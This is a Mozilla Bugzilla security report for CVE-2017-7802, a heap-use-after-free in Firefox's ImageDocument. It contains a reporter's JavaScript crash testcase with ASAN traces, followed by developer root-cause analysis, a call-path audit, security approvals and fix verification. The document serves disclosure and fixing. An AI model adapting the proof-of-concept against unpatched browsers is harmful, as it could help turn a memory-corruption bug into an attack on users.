Closed Bug 1378147 (CVE-2017-7802) Opened 8 years ago Closed 8 years ago

heap-use-after-free in mozilla::dom::ImageDocument::UpdateSizeFromLayout

Categories

(Core :: DOM: Core & HTML, defect)

52 Branch
defect
Not set
normal

Tracking

()

VERIFIED FIXED
mozilla56
Tracking Status
firefox-esr52 55+ verified
firefox54 --- wontfix
firefox55 + verified
firefox56 + verified

People

(Reporter: nils, Assigned: bzbarsky)

Details

(Keywords: csectype-uaf, reporter-external, sec-high, Whiteboard: Keep hidden while bug 1380423 is [adv-main55+][adv-esr52.3+])

Attachments

(3 files)

The following testcase crashes the latest ASAN build of Firefox 52.2.1 ESR. The testcase requires a few reloads and reproduces best when opened in multiple tabs. <script> function start() { o0=document.createElement('iframe'); o0.src='data:image/gif;base64,R0lGODlhAQABAPAAAAAzEQAAACH5BAQZAAAAIf8LTkVUU0NBUEUyLjADAQAAACwAAAAAAQABAAACAkQBACH5BAQZAAAALAAAAAABAAEAgAAzqgAAAAICRAEAIfkEBBkAAAAsAAAAAAEAAQCAIjMRAAAAAgJEAQAh+QQEGQAAACwAAAAAAQABAIAi/xEAAAACAkQBACH5BAQZAAAALAAAAAABAAEAgP//AAAAAAICRAEAIfkEBBkAAAAsAAAAAAEAAQCA//8RAAAAAgJEAQA7'; o0.seamless='seamless'; o0.addEventListener('load',fun0,false); document.body.appendChild(o0); } function fun0() { o8=o0.contentWindow; o8.onresize=fun1; o0.width='3636px'; o9=o0.contentDocument; tmp=o9.getElementsByTagName('*'); o10=tmp[1]; o11=tmp[5]; } function fun1() { o10.appendChild(o0); o11['textContent']=''; fuzzPriv.GC();fuzzPriv.CC();fuzzPriv.GC();fuzzPriv.CC(); location.reload(); } </script> <body onload="start()"></body> ASAN output: ================================================================= ==14974==ERROR: AddressSanitizer: heap-use-after-free on address 0x61200021e8f0 at pc 0x7fcc5a0b2a5a bp 0x7ffe3f3f1980 sp 0x7ffe3f3f1978 READ of size 4 at 0x61200021e8f0 thread T0 #0 0x7fcc5a0b2a59 in GetBoolFlag /home/worker/workspace/build/src/dom/base/nsINode.h:1630:12 #1 0x7fcc5a0b2a59 in IsInUncomposedDoc /home/worker/workspace/build/src/dom/base/nsINode.h:526 #2 0x7fcc5a0b2a59 in GetPrimaryFrame /home/worker/workspace/build/src/dom/base/nsIContent.h:916 #3 0x7fcc5a0b2a59 in GetPrimaryFrame /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/Element.h:964 #4 0x7fcc5a0b2a59 in mozilla::dom::Element::GetPrimaryFrame(mozFlushType) /home/worker/workspace/build/src/dom/base/Element.cpp:2197 #5 0x7fcc5c5182c7 in mozilla::dom::ImageDocument::UpdateSizeFromLayout() /home/worker/workspace/build/src/dom/html/ImageDocument.cpp:625:28 #6 0x7fcc5c5180d8 in mozilla::dom::ImageDocument::OnPageShow(bool, mozilla::dom::EventTarget*) /home/worker/workspace/build/src/dom/html/ImageDocument.cpp:288:3 #7 0x7fcc5e36661b in nsDocumentViewer::LoadComplete(nsresult) /home/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1058:9 #8 0x7fcc5f109f4b in nsDocShell::EndPageLoad(nsIWebProgress*, nsIChannel*, nsresult) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7635:5 #9 0x7fcc5f105d54 in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7439:7 #10 0x7fcc5f10d3bf in non-virtual thunk to nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7336:13 #11 0x7fcc5930d290 in nsDocLoader::DoFireOnStateChange(nsIWebProgress*, nsIRequest*, int&, nsresult) /home/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:1255:3 #12 0x7fcc5930c228 in nsDocLoader::doStopDocumentLoad(nsIRequest*, nsresult) /home/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:840:5 #13 0x7fcc59308f88 in nsDocLoader::DocLoaderIsEmpty(bool) /home/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:730:9 #14 0x7fcc5930b084 in nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /home/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:612:5 #15 0x7fcc5930bc3c in non-virtual thunk to nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /home/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:468:14 #16 0x7fcc578621fa in mozilla::net::nsLoadGroup::RemoveRequest(nsIRequest*, nsISupports*, nsresult) /home/worker/workspace/build/src/netwerk/base/nsLoadGroup.cpp:633:18 #17 0x7fcc5a2fe696 in nsDocument::DoUnblockOnload() /home/worker/workspace/build/src/dom/base/nsDocument.cpp:8640:7 #18 0x7fcc5a2fdf6e in nsDocument::UnblockOnload(bool) /home/worker/workspace/build/src/dom/base/nsDocument.cpp:8568:9 #19 0x7fcc5d5e5be8 in nsBindingManager::DoProcessAttachedQueue() /home/worker/workspace/build/src/dom/xbl/nsBindingManager.cpp:404:5 #20 0x7fcc5d645d92 in applyImpl<nsBindingManager, void (nsBindingManager::*)()> /home/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:775:12 #21 0x7fcc5d645d92 in apply<nsBindingManager, void (nsBindingManager::*)()> /home/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:781 #22 0x7fcc5d645d92 in mozilla::detail::RunnableMethodImpl<void (nsBindingManager::*)(), true, false>::Run() /home/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:810 #23 0x7fcc576828bb in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1216:7 #24 0x7fcc577049fc in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/glue/nsThreadUtils.cpp:361:10 #25 0x7fcc584bc40f in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:96:21 #26 0x7fcc5842dfc8 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:232:3 #27 0x7fcc5842dfc8 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:225 #28 0x7fcc5842dfc8 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:205 #29 0x7fcc5da5719f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:3 #30 0x7fcc5fad1451 in nsAppStartup::Run() /home/worker/workspace/build/src/toolkit/components/startup/nsAppStartup.cpp:283:19 #31 0x7fcc5fc68757 in XREMain::XRE_mainRun() /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4488:10 #32 0x7fcc5fc69ecd in XREMain::XRE_main(int, char**, nsXREAppData const*) /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4621:8 #33 0x7fcc5fc6ad8c in XRE_main /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4712:16 #34 0x4df91a in do_main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:282:10 #35 0x4df91a in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:415 #36 0x7fcc7303182f in __libc_start_main /build/glibc-9tT8Do/glibc-2.23/csu/../csu/libc-start.c:291 #37 0x41ba88 in _start (/home/nils/fuzzer3/esr/firefox/firefox+0x41ba88) 0x61200021e8f0 is located 48 bytes inside of 280-byte region [0x61200021e8c0,0x61200021e9d8) freed by thread T0 here: #0 0x4b21db in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:38:3 #1 0x7fcc5754b354 in SnowWhiteKiller::~SnowWhiteKiller() /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2665:9 #2 0x7fcc5754af46 in nsCycleCollector::FreeSnowWhite(bool) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2840:3 #3 0x7fcc5755201e in nsCycleCollector::BeginCollection(ccType, nsICycleCollectorListener*) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3826:3 #4 0x7fcc575514dc in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3651:9 #5 0x7fcc57555556 in nsCycleCollector_collect(nsICycleCollectorListener*) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:4144:3 #6 0x7fcc5a3e7b19 in nsJSContext::CycleCollectNow(nsICycleCollectorListener*, int) /home/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1440:3 #7 0x7fcc59f1555d in nsDOMWindowUtils::CycleCollect(nsICycleCollectorListener*, int) /home/worker/workspace/build/src/dom/base/nsDOMWindowUtils.cpp:1340:3 #8 0x7fcc576aaec6 in NS_InvokeByIndex /home/worker/workspace/build/src/xpcom/reflect/xptcall/md/unix/xptcinvoke_x86_64_unix.cpp:180:23 #9 0x7fcc58ecdfbe in Invoke /home/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:2058:12 #10 0x7fcc58ecdfbe in Call /home/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:1377 #11 0x7fcc58ecdfbe in XPCWrappedNative::CallMethod(XPCCallContext&, XPCWrappedNative::CallMode) /home/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:1344 #12 0x7fcc58ed5648 in XPC_WN_CallMethod(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNativeJSOps.cpp:999:12 #13 0x7fcc621252e5 in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:239:15 #14 0x7fcc621252e5 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:447 #15 0x7fcc621056ef in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:510:12 #16 0x7fcc621056ef in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2922 #17 0x7fcc620ea8ad in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:405:12 #18 0x7fcc6212594f in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:477:15 #19 0x7fcc62125f92 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:523:10 #20 0x7fcc61bf4ec2 in JS_CallFunctionValue(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/jsapi.cpp:2769:12 #21 0x7fcc58df68af in xpc::FunctionForwarder(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/js/xpconnect/src/ExportHelpers.cpp:319:18 #22 0x7fcc621252e5 in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:239:15 #23 0x7fcc621252e5 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:447 #24 0x7fcc621056ef in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:510:12 #25 0x7fcc621056ef in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2922 #26 0x7fcc620ea8ad in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:405:12 #27 0x7fcc6212594f in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:477:15 #28 0x7fcc62125f92 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:523:10 #29 0x7fcc61e9460c in js::Wrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /home/worker/workspace/build/src/js/src/proxy/Wrapper.cpp:165:12 #30 0x7fcc61e63f5f in js::CrossCompartmentWrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /home/worker/workspace/build/src/js/src/proxy/CrossCompartmentWrapper.cpp:333:14 #31 0x7fcc61e7172f in js::Proxy::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) /home/worker/workspace/build/src/js/src/proxy/Proxy.cpp:400:12 #32 0x7fcc61e73ede in js::proxy_Call(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/js/src/proxy/Proxy.cpp:689:12 #33 0x7fcc621252e5 in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:239:15 #34 0x7fcc621252e5 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:447 #35 0x7fcc62125f92 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:523:10 #36 0x7fcc61bf712d in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/jsapi.cpp:2828:12 previously allocated by thread T0 here: #0 0x4b24fb in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:52:3 #1 0x4e0ded in moz_xmalloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:83:17 #2 0x7fcc5c3aca3d in operator new /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:194:12 #3 0x7fcc5c3aca3d in NS_NewHTMLImageElement(already_AddRefed<mozilla::dom::NodeInfo>&&, mozilla::dom::FromParser) /home/worker/workspace/build/src/dom/html/HTMLImageElement.cpp:55 #4 0x7fcc5c5171cf in mozilla::dom::ImageDocument::CreateSyntheticDocument() /home/worker/workspace/build/src/dom/html/ImageDocument.cpp:665:19 #5 0x7fcc5c515a9e in mozilla::dom::ImageDocument::SetScriptGlobalObject(nsIScriptGlobalObject*) /home/worker/workspace/build/src/dom/html/ImageDocument.cpp:256:9 #6 0x7fcc59f6e811 in nsGlobalWindow::SetNewDocument(nsIDocument*, nsISupports*, bool) /home/worker/workspace/build/src/dom/base/nsGlobalWindow.cpp:2994:3 #7 0x7fcc5e35da70 in nsDocumentViewer::InitInternal(nsIWidget*, nsISupports*, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&, bool, bool, bool) /home/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:915:14 #8 0x7fcc5e35ccb7 in nsDocumentViewer::Init(nsIWidget*, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&) /home/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:655:10 #9 0x7fcc5f1034b2 in nsDocShell::SetupNewViewer(nsIContentViewer*) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:9407:7 #10 0x7fcc5f101bb9 in nsDocShell::Embed(nsIContentViewer*, char const*, nsISupports*) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7260:17 #11 0x7fcc5f0948af in nsDocShell::CreateContentViewer(nsACString_internal const&, nsIRequest*, nsIStreamListener**) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:9212:3 #12 0x7fcc5f091841 in nsDSURIContentListener::DoContent(nsACString_internal const&, bool, nsIRequest*, nsIStreamListener**, bool*) /home/worker/workspace/build/src/docshell/base/nsDSURIContentListener.cpp:128:10 #13 0x7fcc59319f4d in nsDocumentOpenInfo::TryContentListener(nsIURIContentListener*, nsIChannel*) /home/worker/workspace/build/src/uriloader/base/nsURILoader.cpp:736:17 #14 0x7fcc59316250 in nsDocumentOpenInfo::DispatchContent(nsIRequest*, nsISupports*) /home/worker/workspace/build/src/uriloader/base/nsURILoader.cpp:414:30 #15 0x7fcc593150b0 in nsDocumentOpenInfo::OnStartRequest(nsIRequest*, nsISupports*) /home/worker/workspace/build/src/uriloader/base/nsURILoader.cpp:277:8 #16 0x7fcc5780e51b in nsBaseChannel::OnStartRequest(nsIRequest*, nsISupports*) /home/worker/workspace/build/src/netwerk/base/nsBaseChannel.cpp:809:14 #17 0x7fcc5785a13e in nsInputStreamPump::OnStateStart() /home/worker/workspace/build/src/netwerk/base/nsInputStreamPump.cpp:524:14 #18 0x7fcc57859632 in nsInputStreamPump::OnInputStreamReady(nsIAsyncInputStream*) /home/worker/workspace/build/src/netwerk/base/nsInputStreamPump.cpp:426:25 #19 0x7fcc57637a0d in nsInputStreamReadyEvent::Run() /home/worker/workspace/build/src/xpcom/io/nsStreamUtils.cpp:95:9 #20 0x7fcc576828bb in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1216:7 #21 0x7fcc577049fc in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/glue/nsThreadUtils.cpp:361:10 #22 0x7fcc584bc40f in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:96:21 #23 0x7fcc5842dfc8 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:232:3 #24 0x7fcc5842dfc8 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:225 #25 0x7fcc5842dfc8 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:205 #26 0x7fcc5da5719f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:3 #27 0x7fcc5fad1451 in nsAppStartup::Run() /home/worker/workspace/build/src/toolkit/components/startup/nsAppStartup.cpp:283:19 #28 0x7fcc5fc68757 in XREMain::XRE_mainRun() /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4488:10 #29 0x7fcc5fc69ecd in XREMain::XRE_main(int, char**, nsXREAppData const*) /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4621:8 #30 0x7fcc5fc6ad8c in XRE_main /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4712:16 #31 0x4df91a in do_main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:282:10 #32 0x4df91a in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:415 #33 0x7fcc7303182f in __libc_start_main /build/glibc-9tT8Do/glibc-2.23/csu/../csu/libc-start.c:291 SUMMARY: AddressSanitizer: heap-use-after-free /home/worker/workspace/build/src/dom/base/nsINode.h:1630:12 in GetBoolFlag Shadow bytes around the buggy address: 0x0c248003bcc0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c248003bcd0: fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa 0x0c248003bce0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c248003bcf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c248003bd00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c248003bd10: fa fa fa fa fa fa fa fa fd fd fd fd fd fd[fd]fd 0x0c248003bd20: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c248003bd30: fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa 0x0c248003bd40: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c248003bd50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c248003bd60: 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==14974==ABORTING
Attached file ASAN output
Group: core-security → dom-core-security
The stack looks a bit docshell-y. Olli, do you have any ideas?
Flags: needinfo?(bugs)
Not docshelly at all. mImageContent is dead. It got killed by the flush that GetPrimaryFrame does, because caller is not holding a strong ref to it. The immediate fix is to hold that strong ref. But we should also audit all the callpaths to GetPrimaryFrame to ensure they don't have this problem. I wonder whether we can have a static analysis of some sort for this.... Basically, the only safe ways to call GetPrimaryFrame are on "this" or on a strong ref held in a stack smartptr.
Flags: needinfo?(bugs) → needinfo?(michael)
> Basically, the only safe ways to call GetPrimaryFrame are on "this" or on a strong ref held in a stack smartptr. Or from bindings code, of course.
(In reply to Boris Zbarsky [:bz] from comment #3) > Not docshelly at all. > > mImageContent is dead. It got killed by the flush that GetPrimaryFrame > does, because caller is not holding a strong ref to it. > > The immediate fix is to hold that strong ref. But we should also audit all > the callpaths to GetPrimaryFrame to ensure they don't have this problem. > > I wonder whether we can have a static analysis of some sort for this.... > Basically, the only safe ways to call GetPrimaryFrame are on "this" or on a > strong ref held in a stack smartptr. This sounds a lot like the KungFuDeathGrip checker but extended. Perhaps we want a MOZ_MUST_DEATH_GRIP_THIS annotation? If that sounds good, could you file a bug in Analysis & Rewriting & CC me.
Flags: needinfo?(michael)
OK, so analysis of callpaths leading to Element::GetPrimaryFrame (according to searchfox; could in theory be missing non-Linux platform-specific calls): Element::GetStyledFrame Element::ScrollHeight bindings Element::ScrollWidth bindings nsGenericHTMLElement::GetOffsetRect nsGenericHTMLElement::GetOffsetParent bindings (and unused for the XPCOM version; filed bug 1380393 to remove those) nsGenericHTMLElement::OffsetTop bindings nsGenericHTMLElement::GetOffsetTop ImageDocument::HandleEvent on strong stack ref nsGenericHTMLElement::OffsetLeft bindings nsGenericHTMLElement::GetOffsetLeft ImageDocument::HandleEvent on strong stack ref nsGenericHTMLElement::OffsetWidth bindings nsGenericHTMLElement::GetOffsetWidth HTMLEditor::GetPositionAndDimensions on strong stack ref HTMLEditor::RefreshInlineTableEditingUI on strong stack ref nsGenericHTMLElement::OffsetHeight bindings nsGenericHTMLElement::GetOffsetHeight HTMLEditor::GetPositionAndDimensions on strong stack ref HTMLEditor::RefreshInlineTableEditingUI on strong stack ref Element::GetScrollFrame Element::Scroll bindings Element::ScrollTo bindings Element::ScrollBy bindings Element::ScrollTop bindings Element::SetScrollTop bindings Element::ScrollLeft bindings Element::SetScrollLeft bindings Element::ScrollByNoFlush bindings Element::MozScrollSnap bindings Element::ScrollHeight bindings Element::ScrollWidth bindings Element::GetClientAreaRect Element::ClientTop bindings Element::ClientLeft bindings Element::ClientWidth bindings nsXULWindow::GetPrimaryTabParentSize -- UNSAFE, afaict Element::ClientHeight bindings nsXULWindow::GetPrimaryTabParentSize -- UNSAFE, afaict Element::ScrollTopMin bindings Element::ScrollTopMax bindings Element::ScrollLeftMin bindings Element::ScrollLeftMax bindings Element::GetBoundingClientRect bindings Element::GetClientRects bindings HTMLImageElement::GetXY HTMLImageElement::X bindings HTMLImageElement::GetX -- unused; filed bug 1380413 HTMLImageElement::Y bindings HTMLImageElement::GetY -- unused; filed bug 1380413 ImageDocument::UpdateSizeFromLayout -- UNSAFE nsGenericHTMLElement::GetWidthHeightForImage HTMLImageElement::Width bindings HTMLImageElement::GetWidth -- unused nsLayoutUtils::SurfaceFromElement -- called on strong stack ref, effectively HTMLImageElement::Height bindings HTMLImageElement::GetHeight -- unused nsLayoutUtils::SurfaceFromElement -- called on strong stack ref, effectively ImageDocument::ShrinkToFit -- UNSAFE, afaict HTMLInputElement::Width bindings HTMLInputElement::GetWidth -- unused HTMLInputElement::Height bindings HTMLInputElement::GetHeight -- unused nsGenericHTMLElement::GetInnerText bindings SVGTextContentElement::GetSVGTextFrame SVGTextContentElement::GetNumberOfChars bindings SVGTextContentElement::GetComputedTextLength bindings SVGTextContentElement::SelectSubString bindings SVGTextContentElement::GetSubStringLength bindings SVGTextContentElement::GetStartPositionOfChar bindings SVGTextContentElement::GetEndPositionOfChar bindings SVGTextContentElement::GetExtentOfChar bindings SVGTextContentElement::GetRotationOfChar bindings SVGTextContentElement::GetCharNumAtPosition bindings SVGTextContentElement::GetSVGTextFrameForNonLayoutDependentQuery SVGTextContentElement::GetNonLayoutDependentNumberOfChars SVGTextContentElement::GetNumberOfChars bindings SVGTransformableElement::GetBBox bindings
I filed bug 1380423 on the static analysis.
Assignee: nobody → bzbarsky
Status: NEW → ASSIGNED
Attachment #8885850 - Flags: review?(michael) → review+
Comment on attachment 8885850 [details] [diff] [review] Hold strong refs to elements when calling various functions that can run script [Security approval request comment] How easily could an exploit be constructed based on the patch? Not trivially, though for someone who has discovered, as Nils has, that resize events can be triggered at will via layout flushes it might not be too hard... Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem? The comments point out that lack of strong refs and script execution are the problem. I could try removing those comments, but that runs the risk of someone dropping the strong refs. Which older supported branches are affected by this flaw? Probably all of them. I haven't checked for sure. If not all supported branches, which bug introduced the flaw? Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be? This would be simple and safe to backport. Redoing the audit might be more difficult, if we think we might have _removed_ some offending callers... How likely is this patch to cause regressions; how much testing does it need? Not likely and not much.
Attachment #8885850 - Flags: sec-approval?
Comment on attachment 8885850 [details] [diff] [review] Hold strong refs to elements when calling various functions that can run script sec-approval=dveditz a=dveditz to land this on beta and ESR 52
Attachment #8885850 - Flags: sec-approval?
Attachment #8885850 - Flags: sec-approval+
Attachment #8885850 - Flags: approval-mozilla-esr52+
Attachment #8885850 - Flags: approval-mozilla-beta+
Status: ASSIGNED → RESOLVED
Closed: 8 years ago
Resolution: --- → FIXED
Target Milestone: --- → mozilla56
Flags: sec-bounty?
https://hg.mozilla.org/releases/mozilla-beta/rev/0d6599e2269d https://hg.mozilla.org/releases/mozilla-esr52/rev/09f62bfc5800 (In reply to Boris Zbarsky [:bz] from comment #9) > Redoing the audit might be more difficult, if we think we might > have _removed_ some offending callers... This has me a bit worried too (other instances of this bug on the branches that weren't on trunk). Any way we can sanity check Beta/ESR52?
> Any way we can sanity check Beta/ESR52? Sure. I could spend an hour each redoing the work from comment 6 (more if there isn't searchfox for those branches). Or someone else could; they'd just need to check whether the set of possible callers matches. Alternately, we could implement the thing in bug 1380423 and run it on those branches for this function.
Flags: sec-bounty? → sec-bounty+
Keywords: sec-criticalsec-high
Group: dom-core-security → core-security-release
Flags: qe-verify+
Alias: CVE-2017-7802
Whiteboard: [adv-main55+][adv-esr52.3+]
I was able to reproduce the crash on asan 52.2 (20170608175922) using the test case from Comment 0 on Ubuntu 16.04 x64 with the domFuzzLite3 add-on installed. The crash is no longer occurring on Ubuntu 16.04 x64 using: - asan 52.2esr (20170726030943) Unfortunately I couldn't make the domFuzzLite3 add-on work with 55 and 56, so I can't really confirm that the crash is fixed there. I did try with the regular asan builds and I couldn't reproduce it: - asan 55.0b13 (20170726032849) - asan 56.0a1 (20170726020448)
Tristan, comment 6 has a function that you can use as your guinea pig for the analysis in bug 1380423. You can start with one of the callers in that analysis if using Element::GetPrimaryFrame entrains too much stuff for a first cut.
Quick update here, I've managed to verify the fix on Ubuntu 16.04 x64 using the following versions as well: - asan 55.0b13 (20170726032849) - asan 56.0a1 (20170726020448)
Status: RESOLVED → VERIFIED
Flags: qe-verify+
Whiteboard: [adv-main55+][adv-esr52.3+] → Keep hidden while bug 1380423 is [adv-main55+][adv-esr52.3+]
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: